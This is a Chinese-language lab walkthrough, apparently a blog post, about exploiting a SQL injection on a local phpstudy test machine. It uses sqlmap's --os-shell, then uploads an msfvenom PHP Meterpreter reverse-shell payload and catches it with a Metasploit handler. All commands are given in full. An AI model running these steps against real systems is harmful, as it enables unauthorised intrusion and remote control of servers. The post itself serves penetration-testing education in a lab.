sqlmap (os-shell)

Dancing with your ghost

环境准备

Kali(IP:10.10.16.128)
win 7(IP:10.10.16.131)使用 phpstudy 搭建 sql 注入漏洞环境
NAT 网络连接

漏洞源码

查看源码可以得知这是一个数字型 SQL 注入

在这里插入图片描述

漏洞利用

直接在 Kali 中打开 Firefox 浏览器,访问。(这里在 phpstudy 的设置中,将 apache 服务的端口设置 88)

http://10.10.16.131:88/sql-php/sql_normal.php?id=1

在这里插入图片描述

① sqlmap 注入测试

sqlmap -u "http://10.10.16.131:88/sql-php/sql_normal.php?id=1"

在这里插入图片描述

② --is-dba

在使用 –os-shell 获取操作系统 shell 的时候,要先确定当前用户是否为管理员权限。

sqlmap -u "http://10.10.16.131:88/sql-php/sql_normal.php?id=1" --is-dba --current-user

在这里插入图片描述

③–os-shell

如果 current user is DBA: Ture 说明可以对靶机目录/文件进行操作

sqlmap -u "http://10.10.16.131:88/sql-php/sql_normal.php?id=1" --os-shell

在这里插入图片描述

④ 反弹 shell

从上面结果可以看出已经成功反弹 shell,不过这个 shell 操作起来不甚顺畅,可以在 Kali 生成反弹 shell 代码,借助上面生成的一个文件上传界面。

  1. msf 生成反弹 shell 代码,将生成的代码保存在 shell.php 文件中。
msfvenom -p php/meterpreter_reverse_tcp lhost=10.10.16.128 lport=4444 -o shell.php

在这里插入图片描述

http://10.10.16.131:88/tmpufzgk.php

在这里插入图片描述

  1. 开启 msf 设置相关参数,然后 exploit,访问 shell.php 就可以反弹 shell。(shell.php 是上传在靶机的网站根目录 www 下)
http://10.10.16.131:88/shell.php
msfconsole
use exploit/multi/handler
set payload php/meterpreter_reverse_tcp
set lhost 10.10.16.128
exploit
shell

在这里插入图片描述

                                                                                                                                                                      猪头
                                                                                                                                                                   2020.3.14
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值